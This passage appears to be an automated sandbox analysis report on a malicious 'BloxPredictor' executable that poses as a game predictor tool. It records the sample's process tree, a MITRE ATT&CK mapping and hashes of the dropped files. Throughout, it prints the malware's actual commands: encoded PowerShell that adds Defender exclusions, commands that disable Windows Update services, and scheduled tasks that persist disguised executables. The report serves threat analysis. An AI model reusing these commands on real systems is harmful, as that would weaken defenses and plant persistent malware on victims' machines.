wBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUARwBOAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwB4AHUAbgByACMAPgA7AA=="
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4868

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /run /tn "GoogleUpdateTaskMachineGNC"
5⤵
PID:1096

C:\Windows\system32\schtasks.exe
schtasks /run /tn "GoogleUpdateTaskMachineGNC"
6⤵
PID:4344

C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe
"C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c choice /c y /n /d y /t 1 & attrib -h -s "C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe" & del "C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe"
3⤵
- Suspicious use of WriteProcessMemory
PID:2976

C:\Windows\system32\choice.exe
choice /c y /n /d y /t 1
4⤵
PID:4868

C:\Windows\system32\attrib.exe
attrib -h -s "C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe"
4⤵
- Views/modifies file attributes
PID:4420

C:\Program Files\Google\Chrome\updaterchr.exe
"C:\Program Files\Google\Chrome\updaterchr.exe"
1⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
PID:1452

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAawBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYgBqAHEAZQAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAA8ACMAegBnACMAPgAgAEAAKAAgADwAIwBvAHUAbgAjAD4AIAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAIAA8ACMAaQBqACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAG8AdgAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBxAGoAYgB2ACMAPgA="
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1304

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
PID:3096

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4612

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:5016

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:3660

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:3704

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1004

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:1816

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:3164

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies registry key
PID:2644

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:4372

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:3160

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:216

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2712

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2004

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2388

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:644

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:396

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:1036

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:3180

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:304

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:3320

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:4368

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:636

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:2248

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:2920

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4488

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:4940

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:2652

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:1956

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHEAeABzAGYAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIAYwBoAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHAAZwBzACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAbABkAHcAbgAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAHgAcwBjACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUARwBOAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwB4AHUAbgByACMAPgA7AA=="
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:4260

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "auoqcamxnqvcfox"
2⤵
PID:2096

C:\Windows\explorer.exe
C:\Windows\explorer.exe mydyeonmhjxuwoj0 6E3sjfZq2rJQaxvLPmXgsA4f0StS9pic9Xw++oZ1mnbMNdSoXP4ts/KtNDhUPQkUJUDxpO3xQsm1i/s1JWMxbg4CDDUjUzNRskPjZWvNKNodOgKV2HJ8tTN0QVJgDyg+2bViTlti9ZxC5n49dcOUKQgK8rh3k8SmDF6+u9ZQ5hRhwXNv/1S1TKEHJpFva5VT15ywFxRzv+p6QJjNw/L6ZZoe3/92cs2DQxDkoE3IsIzkx9TTRmCLGdVqAhSSaqD/dxmcqlkEPlABcaswUovsRsYIsGCTWr6HEYiZyJ7D/pEvdSgl4Ssys4PH64lw+2JZOaVM/fzty5GcKPqtRyNpK7JankFbnpfTgsZW486kFTNUsNs5zwDNZorPvDx2gAGPeAmMD3VJpoYpe0XydMAhRLzHJ6W6RQZdzGI5dA+Gh5wWZDZEtYZShKFmpBaV+um5kcMLDSbVP9ZXZLDDiM9tRYE2wuSLOvJ3TtZmETNg1mQn6yUVkr/FX5NRptI/LkFX7Je7OJ1OkAzeids5Xze8cxElXNgspaI/2/qqbi/zGc67qgr9HDiuGNpTUICOihg84Gy59O+gaQM4hh8RQjGhww==
2⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:2140

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Media Player\dllhost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3792

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Windows Media Player\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4892

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 11 /tr "'C:\Program Files\Windows Media Player\dllhost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3096

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\ShellExperienceHost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHost" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\ShellExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4400

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ShellExperienceHostS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Microsoft Shared\MSEnv\PublicAssemblies\ShellExperienceHost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3900

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4612

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5040

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ContainerServersvcC" /sc MINUTE /mo 10 /tr "'C:\Program Files\Windows Multimedia Platform\ContainerServersvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4624

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ContainerServersvc" /sc ONLOGON /tr "'C:\Program Files\Windows Multimedia Platform\ContainerServersvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3704

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "ContainerServersvcC" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Multimedia Platform\ContainerServersvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3496

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutputL" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Common Files\Services\LicenceOutput.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3680

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutput" /sc ONLOGON /tr "'C:\Program Files (x86)\Common Files\Services\LicenceOutput.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1064

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutputL" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\Common Files\Services\LicenceOutput.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3536

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 7 /tr "'C:\odt\schtasks.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtasks" /sc ONLOGON /tr "'C:\odt\schtasks.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4852

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 10 /tr "'C:\odt\schtasks.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 14 /tr "'C:\odt\schtasks.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1132

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtasks" /sc ONLOGON /tr "'C:\odt\schtasks.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "schtaskss" /sc MINUTE /mo 13 /tr "'C:\odt\schtasks.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 10 /tr "'C:\containerServerWebMonitornet\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\containerServerWebMonitornet\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4352

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 6 /tr "'C:\containerServerWebMonitornet\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4436

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 8 /tr "'C:\containerServerWebMonitornet\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2212

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\containerServerWebMonitornet\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2272

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\containerServerWebMonitornet\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4804

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\powershell.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3160

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershell" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:640

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "powershellp" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\it-IT\powershell.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3152

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutputL" /sc MINUTE /mo 13 /tr "'C:\Windows\INF\LicenceOutput.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1044

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutput" /sc ONLOGON /tr "'C:\Windows\INF\LicenceOutput.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5060

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "LicenceOutputL" /sc MINUTE /mo 9 /tr "'C:\Windows\INF\LicenceOutput.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2464

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1820

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3016

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\Recovery\WindowsRE\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2416

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 13 /tr "'C:\Windows\debug\Idle.exe'" /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3368

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "Idle" /sc ONLOGON /tr "'C:\Windows\debug\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3656

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "IdleI" /sc MINUTE /mo 9 /tr "'C:\Windows\debug\Idle.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Hidden Files and Directories

T1158

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Impair Defenses

T1562

File Permissions Modification

T1222

Hidden Files and Directories

T1158

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updaterchr.exe
Filesize
4.3MB

MD5
d746334715e2b37c584b8536b93f05f5

SHA1
0ad2d02042ef1751059d795f852b1d7aecd9b573

SHA256
c726b23b31396a909a02287354c1c4f1e1d1d5f8a39c58de885a496b28d318e1

SHA512
ff211210369265b9173180f9cc17090f439d7c95d3ba05d8d9f310ddcaac805cb78d942f52487aac5d6b71d13f8464bc283d1f0422ba945f12ccb48bab2145b1

Download Submit
C:\Program Files\Google\Chrome\updaterchr.exe
Filesize
4.3MB

MD5
d746334715e2b37c584b8536b93f05f5

SHA1
0ad2d02042ef1751059d795f852b1d7aecd9b573

SHA256
c726b23b31396a909a02287354c1c4f1e1d1d5f8a39c58de885a496b28d318e1

SHA512
ff211210369265b9173180f9cc17090f439d7c95d3ba05d8d9f310ddcaac805cb78d942f52487aac5d6b71d13f8464bc283d1f0422ba945f12ccb48bab2145b1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
c50eeb6fe0ddd20d46d5e3098773cd26

SHA1
2340a5d0ecde320663a885d7126f797640e3622b

SHA256
ebe832744a6f9ab2988b0b3417711dd2525aeac3a365c7d8720e5985ccb67581

SHA512
94e219e1c3c384c1ce5c0e80967a2f3e25329e893c2708eabbf2431fd9cb0f5bfeb0619f1c37fdc17c4e6d00457b3262e8d073dbb36b6bca4d837d3be8fe828f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
d792c62bc51b7ae64d508cdd48d4a019

SHA1
9803c5e44a59cc7f0bd92afba29a0d703a09d794

SHA256
a8586f731d20587883193a7c9d0fcb9f2e72ea6f184229f5155abf12e949870b

SHA512
7e929d07db2bd9dfe1685780eb92b0c3b17ed76948af0c3fadbba174cea6f4c2b6c5fcabda12e2d3e9f174c1831de0e007aa1e175d5f95405b7c54bc2e17395f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
2539a7d8ecd46e530897311b09059c07

SHA1
04e46acaf7a935ec24db9e73a1c654ebf86d006b

SHA256
bb5d58c2923ed4541d3cd3a9e97cc3b41a94da9046c961cd3d49ff18de2295a6

SHA512
0caf653ffac402d10f3ad941d1238db809bfa8a9050e02476cf814c5d125481432302b450549fd2659eb460701145a099611588e07a3a3345abb204d60c4ccb8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
683df01fbcf97eaf8e815f6a3ac223dd

SHA1
752e9f0f13e6f6130a2fb44db68e03663ed15a15

SHA256
91513a7ff073de01642fc67c6fc291f1cc6bc209106a43679cf40101f4703878

SHA512
204d99f61eb0045c29e0ee78e390afaa1b9b7afde8375954547c3934fad1952ee2aba20d4c7084c6646072b6dd8db2c97b2eef855f5af68410713e34c2c0a5da

Download Submit
C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe
Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\BLOXFLIP-Predictor-main\BloxPredictor.bat.exe
Filesize
435KB

MD5
f7722b62b4014e0c50adfa9d60cafa1c

SHA1
f31c17e0453f27be85730e316840f11522ddec3e

SHA256
ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa

SHA512
7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe
Filesize
95KB

MD5
3b3e2bc601dac2d09e1ab65f96663f91

SHA1
410bb26b72c02f167bfd56e83f2db34fe8b60419

SHA256
2bcd24986fea58a62705365eca7f83b03cdd7fc645c050ac377c81ab7bbbd387

SHA512
40d943f98846e332a11ec56eb808fc9053eadb25667c8b91e7f2f80611a0cead3ccdbb4b3e75b6538f66ee03645e35cdcfc76199b9dcc6ec2378233cc4b05bbd

Download Submit
C:\Users\Admin\AppData\Local\Temp\LicenceOutput.exe
Filesize
95KB

MD5
3b3e2bc601dac2d09e1ab65f96663f91

SHA1
410bb26b72c02f167bfd56e83f2db34fe8b60419

SHA256
2bcd24986fea58a62705365eca7f83b03cdd7fc645c050ac377c81ab7bbbd387

SHA512
40d943f98846e332a11ec56eb808fc9053eadb25667c8b91e7f2f80611a0cead3ccdbb4b3e75b6538f66ee03645e35cdcfc76199b9dcc6ec2378233cc4b05bbd

Download Submit
C:\Users\Admin\AppData\Roaming\LicenceChecker.exe
Filesize
4.3MB

MD5
d746334715e2b37c584b8536b93f05f5

SHA1
0ad2d02042ef1751059d795f852b1d7aecd9b573

SHA256
c726b23b31396a909a02287354c1c4f1e1d1d5f8a39c58de885a496b28d318e1

SHA512
ff211210369265b9173180f9cc17090f439d7c95d3ba05d8d9f310ddcaac805cb78d942f52487aac5d6b71d13f8464bc283d1f0422ba945f12ccb48bab2145b1

Download Submit
C:\Users\Admin\AppData\Roaming\LicenceChecker.exe
Filesize
4.3MB

MD5
d746334715e2b37c584b8536b93f05f5

SHA1
0ad2d02042ef1751059d795f852b1d7aecd9b573

SHA256
c726b23b31396a909a02287354c1c4f1e1d1d5f8a39c58de885a496b28d318e1

SHA512
ff211210369265b9173180f9cc17090f439d7c95d3ba05d8d9f310ddcaac805cb78d942f52487aac5d6b71d13f8464bc283d1f0422ba945f12ccb48bab2145b1

Download Submit
C:\Users\Admin\AppData\Roaming\protection1.exe
Filesize
3.2MB

MD5
da465ba2a10713d347a581be84f5ab98

SHA1
7e4eafca9ba70ee6541d2aec2e9cdbdb972c31d7

SHA256
